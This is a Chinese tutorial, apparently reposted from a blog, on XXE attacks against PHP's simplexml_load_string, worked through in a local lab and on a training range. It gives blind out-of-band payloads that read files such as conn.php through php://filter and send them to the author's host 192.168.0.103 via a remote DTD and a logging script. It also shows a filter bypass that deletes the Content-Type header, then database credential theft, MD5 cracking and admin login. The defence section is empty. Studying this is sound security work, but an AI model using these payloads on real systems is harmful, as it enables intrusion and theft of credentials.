一、XXE
XML外部实体攻击(用户输入数据被当做XML实体代码执行,然后利用DTD部分可以通过SYSTEM关键词发起网络请求,从而获得数据)
典型攻击,定义实体必须写在DTD部分
外部实体是TDT部分的一个特殊地方(SYSTEM)可以调用外部文件进行XML文件的规划(可以发起网络请求)
1、XML
一种类似html的语言,用于传输数据,没有被预定义,需要自行定义标签
2、原理
有了XML实体,关键字’SYSTEM’会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。
因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。
简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)
php中存在一个叫做simplexml_load_string的函数(用来处理XML)这个函数是将XML转化为对象
实例:
-
<?php
-
-
$test =
'<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///f:/1.txt">]><scan>&test;</scan>'; $obj = simplexml_load_string($test,
'SimpleXMLElement', LIBXML_NOENT);
-
-
print_r($obj);
-
-
?>
变量test里面是XML
然后用simplexml_load_string将其转化为对象,第一个参数是xml语句,SimpleXMLElement是调用了SimpleXMLElement这个类,然后LIBXML_NOENT是替代实体,然后他去执行了file协议去读取f盘的1.txt的文件
3、作用
读取敏感文件,任何网站调用数据库都要写数据库账号密码,可以想数据库写后台账号
4、拓展
<!ENTITY 实体名称 SYSTEM “URI/URL”>
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
二、本地实验
1、代码审计
我们用源码审计系统搜索cmd中的危险函数simplexml_load_string
这里file_get_contents读取php://input内容到$postObj中
php://input可以获得post中的数据
但要让代码执行到指定位置,必须不让其执行exit部分。所以要让$echostr为空,$signature不为空。
但这里有个问题,不会输出$_postOjb
2、本地实验
我们把代码抠下来
可以提取f盘的1.txt文件
抓包,修改get请求为post,因为phpinput是提取post内容,并且添加xml代码。
可以发现输出了1.txt中的内容,这里我在2.php添加了print_r($postObj),2.php代码如下
-
<?php
-
$signature = $_REQUEST[
"signature"];
-
$echostr = $_REQUEST[
"echostr"];
-
if ($signature !=
"" && $echostr ==
"")
-
{
-
echo
'yes';
-
$postArr = file_get_contents(
"php://input");
-
$postObj = simplexml_load_string($postArr);
-
print_r($postObj);
-
}
-
-
?>
我们可以用来读取conn配置文件,但是file://并不能读取完整的php文件内容
我们这里用php伪协议读取
最后base64解码,可以得到conn.php文件内容
但是cmd源代码中没有输出print_r($postObj),该怎么办?
对于没有回显的XXE,我们可以使用一个类似与接受平台一样的接受器,XML读取数据然后发送到接收的平台,然后接收平台存储,我们再去接收平台查看就可以了。
XXE ->读取信息 ->信息外带 -> 保存信息
xxe 可以发起网络请求,我们可以尝试读取的信息放在$a
然后我们发起请求 http://x.x.x.x/1.php?id=$a
你的公网机器保存收到的传参
(1)读取信息
使用php伪协议 php://filter/read=convert.base64-encode/resource=c:/1.txt
然后我们再去调用一个外部xml 比如1.xml (<!ENTITY % remote SYSTEM "http://192.168.0.103/1.xml">)
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://192.168.0.103/xxe/2.php?id=%file;'>"
>
%all;
(3)保存信息
2.php
<?php file_put_contents("3.txt",$_GET["id"],FILE_APPEND);?>
把get请求中id后的传参写到3.txt中
-
<?php
-
-
$test =
<<<EOF
-
-
<?xml version="1.0"?>
-
-
<!DOCTYPE ANY[
-
-
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/1.txt">
-
-
<!ENTITY % remote SYSTEM "http://192.168.0.103/xxe/1.xml">
-
-
%remote;
-
-
%send;
-
-
]>
-
-
EOF;
-
-
$obj = simplexml_load_string($test, 'SimpleXMLElement', LIBXML_NOENT);
-
-
?>
读取c盘1.txt文件,放到变量file中
通过remote加载一个外部的1.xml,内容如下
-
<!ENTITY % all
-
"<!ENTITY % send SYSTEM 'http://192.168.1.3/xxe/2.php?id=%file;'>"
-
>
-
%all;
把获得的file的内容放到http的地址中,id就是php伪协议获取的值
我的ip,192.168.0.103
(1)修改1.xml文件
-
<!ENTITY % all
-
"<!ENTITY % send SYSTEM 'http://192.168.0.103/xxe/2.php?id=%file;'>"
-
>
-
%all;
(2)2.php
<?php file_put_contents("3.txt",$_GET["id"],FILE_APPEND);?>
在post中传参,最后在3.txt中得到输出conn.php中文件内容
下面这段代码是插入在抓包的post传参中
-
<?xml version="1.0"?>
-
<!DOCTYPE ANY[
-
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=E:/phpstudy/WWW/5.med.php/conn/conn.php">
-
<!ENTITY % remote SYSTEM "http://192.168.0.103/xxe/1.xml">
-
%remote;
-
%send;
-
]>
在3.txt中可以找到conn.php文件的内容,经base64可以解密内容
三、靶场
我们之前审计代码中知道weixin/index.php存在xxe漏洞,所以我们进入靶场的该目录
利用官方提供的炮台,我们先把2.php中的内容重写
查看3.txt中内容已生效
cmd中文件目录都是确定的,所以我们想要conn目录下的conn.php的文件内容,先退出weixin目录,相对路径是../conn/conn.php
抓包修改为正确的路径,添加post内容,这里使用的靶场的炮台1.xml
这里说包含敏感字符,说明出现了检测传参
检测传参只针对$_GET $_POST $_COOKIE
需要删除Content-Type这一项,这一句的作用是告诉浏览器这是个表单传输,这样才能被post get cookie接受。如果没有这一句,则post中数据不会被接受,自然也不会被检测。
修改后放包
访问炮台的3.txt可以查看到conn.php中的内容
放入base64解密,可以得到数据库的账户名和密码
我们可以登陆数据库,查看到admin的密码
md5解密结果admintestv1
还可以登录网站后台
四、防御方法
转载:https://blog.csdn.net/weixin_45540609/article/details/116526150